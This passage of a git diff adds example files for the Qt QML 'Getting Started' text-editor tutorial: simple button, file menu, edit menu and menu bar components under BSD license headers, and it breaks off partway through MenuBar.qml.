+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ id: simplebutton
+ color: "grey"
+ width: 150; height: 75
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: "button label"
+ }
+}
+//! [document]
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/Button.qml b/examples/tutorials/gettingStarted/gsQml/parts/part1/Button.qml
new file mode 100644
index 00000000..f75c78d3
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/Button.qml
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ //identifier of the item
+ id: button
+
+ property string label: "button label"
+
+ //these properties act as constants, useable outside this QML file
+ property int buttonHeight: 75
+ property int buttonWidth: 150
+
+ //the color highlight when the mouse hovers on the rectangle
+ property color onHoverColor: "gold"
+ property color borderColor: "white"
+
+ //buttonColor is set to the button's main color
+ property color buttonColor: "lightblue"
+
+ //set appearance properties
+ radius: 10
+ smooth: true
+ border{color: "white"; width: 3}
+ width: buttonWidth; height: buttonHeight
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: label
+ }
+
+ //buttonClick() is callable and a signal handler, onButtonClick is automatically created
+ signal buttonClick()
+ onButtonClick: {
+ console.log(buttonLabel.text + " clicked" )
+ }
+
+ //define the clickable area to be the whole rectangle
+ MouseArea{
+ id: buttonMouseArea
+ anchors.fill: parent //stretch the area to the parent's dimension
+ onClicked: buttonClick()
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = onHoverColor
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = borderColor
+ }
+
+ //change the color of the button when pressed
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/EditMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part1/EditMenu.qml
new file mode 100644
index 00000000..789046c8
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/EditMenu.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: editMenu
+ height: 480; width:1000
+ color: "powderblue"
+ property string menuName:"Edit"
+
+ Rectangle{
+ id:actionContainer
+ color:"transparent"
+ anchors.centerIn: parent
+
+ width: parent.width; height: parent.height / 5
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Cut"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Paste"
+ }
+ Button{
+ id: exitButton
+ label: "Select All"
+ buttonColor: "darkgrey"
+ }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/FileMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part1/FileMenu.qml
new file mode 100644
index 00000000..f2163382
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/FileMenu.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: fileMenu
+
+ //the menuName is accessible from outside this QML file
+ property string menuName: "File"
+
+ //generous amount of screen space that will allow the buttons to fit
+ height: 480; width:1000
+
+ color: "#6C646A"
+
+ //a sub-rectangle allows the flexibility of setting the row area
+ Rectangle{
+ id:actionContainer
+
+ //make this rectangle invisible
+ color:"transparent"
+ anchors.centerIn: parent
+
+ //the height is a good proportion that creates more space at the top of the row of buttons
+ width: parent.width; height: parent.height / 5
+
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Load"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Save"
+ }
+ Button{
+ id: exitButton
+ label: "Exit"
+ buttonColor: "darkgrey"
+
+ //exit the application if the exitButton is clicked
+ onButtonClick:{
+ Qt.quit()
+ }
+ }
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/SimpleButton.qml b/examples/tutorials/gettingStarted/gsQml/parts/part1/SimpleButton.qml
new file mode 100644
index 00000000..6f497814
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/SimpleButton.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ //identifier of the item
+ id: simplebutton
+
+ //the rectangle's fill color
+ color: "grey"
+
+ //dimensions of the button
+ width: 150; height: 75
+
+ //A text element contains functionalities for creating texts
+ Text {
+ id: buttonLabel
+
+ //center the text inside the parent
+ anchors.centerIn: parent
+
+ //text property binds to the label displayed on the button
+ text: "button label"
+ }
+
+ //define the clickable area to be the whole rectangle
+ MouseArea {
+ id: buttonMouseArea
+ anchors.fill: parent //anchor all sides of the mouse area to the rectangle's anchors
+
+ //onClicked handles valid mouse button clicks
+ onClicked: console.log(buttonLabel.text + " clicked" )
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_button.png b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_button.png
new file mode 100644
index 00000000..aab64bcf
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_button.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_editmenu.png b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_editmenu.png
new file mode 100644
index 00000000..d3ff66f2
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_editmenu.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_filemenu.png b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_filemenu.png
new file mode 100644
index 00000000..f2e2b0d9
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_filemenu.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_simplebutton.png b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_simplebutton.png
new file mode 100644
index 00000000..21ce5092
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/pics/qml-texteditor1_simplebutton.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part1/qml-texteditor.qmlproject b/examples/tutorials/gettingStarted/gsQml/parts/part1/qml-texteditor.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part1/qml-texteditor.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part2/Button.qml b/examples/tutorials/gettingStarted/gsQml/parts/part2/Button.qml
new file mode 100644
index 00000000..4162c94d
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part2/Button.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ //identifier of the item
+ id: button
+
+ property string label: "button label"
+
+ //these properties act as constants, useable outside this QML file
+ property int buttonHeight: 75
+ property int buttonWidth: 150
+
+ //the color highlight when the mouse hovers on the rectangle
+ property color onHoverColor: "gold"
+ property color borderColor: "white"
+
+ //buttonColor is set to the button's main color
+ property color buttonColor: "lightblue"
+
+ //set appearance properties
+ radius:10
+ smooth: true
+ border{color: "white"; width: 3}
+ width: buttonWidth; height: buttonHeight
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: label
+ }
+
+ //buttonClick() is callable and a signal handler, onButtonClick is automatically created
+ signal buttonClick()
+ onButtonClick: {
+ console.log(buttonLabel.text + " clicked" )
+ }
+
+ //define the clickable area to be the whole rectangle
+ MouseArea{
+ id: buttonMouseArea
+ anchors.fill: parent //stretch the area to the parent's dimension
+ onClicked: buttonClick()
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = onHoverColor
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = borderColor
+
+ }
+
+ //change the color of the button when pressed
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part2/EditMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part2/EditMenu.qml
new file mode 100644
index 00000000..65956663
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part2/EditMenu.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: editMenu
+ height: 480; width:1000
+ color: "powderblue"
+ property string menuName:"Edit"
+
+ Rectangle{
+ id:actionContainer
+ color:"transparent"
+ anchors.centerIn: parent
+
+ width: parent.width; height: parent.height / 5
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Cut"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Paste"
+ }
+ Button{
+ id: exitButton
+ label: "Select All"
+ buttonColor: "darkgrey"
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part2/FileMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part2/FileMenu.qml
new file mode 100644
index 00000000..694f4857
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part2/FileMenu.qml
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: fileMenu
+
+ //the menuName is accessible from outside this QML file
+ property string menuName: "File"
+
+ //generous amount of screen space that will allow the buttons to fit
+ height: 480; width:1000
+
+ color: "#6C646A"
+
+ //a sub-rectangle allows the flexibility of setting the row area
+ Rectangle{
+ id:actionContainer
+
+ //make this rectangle invisible
+ color:"transparent"
+ anchors.centerIn: parent
+
+ //the height is a good proportion that creates more space at the top of the row of buttons
+ width: parent.width; height: parent.height / 5
+
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Load"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Save"
+ }
+ Button{
+ id: exitButton
+ label: "Exit"
+ buttonColor: "darkgrey"
+
+ //exit the application if the exitButton is clicked
+ onButtonClick:{
+ Qt.quit()
+ }
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part2/MenuBar.qml b/examples/tutorials/gettingStarted/gsQml/parts/part2/MenuBar.qml
new file mode 100644
index 00000000..fe115622
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part2/MenuBar.qml
@@ -0,0 +1,140 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: menuBar
+ width: 1000
+ height:300
+
+ property color fileColor: "thistle"
+ property color editColor: "powderblue"
+
+ //container for the header and the buttons
+ Rectangle{
+
+ id: labelList
+ height:parent.height/10
+ width: parent.width
+ color: "steelblue"
+
+ //default z is 0, items with higher z values are shown on top of items with lower z values
+ z: 1
+
+ //row displays its children in a vertical row
+ Row{
+ anchors.centerIn: parent
+ spacing:40
+ Button{
+ height: 20
+ width: 50
+ label: "File"
+ id: fileButton
+ buttonColor : menuListView.currentIndex == 0? fileColor : Qt.darker(fileColor, 1.5)
+ scale: menuListView.currentIndex == 0? 1.25: 1
+ radius: 1
+
+ //on a button click, change the list's currently selected item to FileMenu
+ onButtonClick: {
+ menuListView.currentIndex = 0
+ }
+ }
+ Button{
+ height: 20
+ width: 50
+ id: editButton
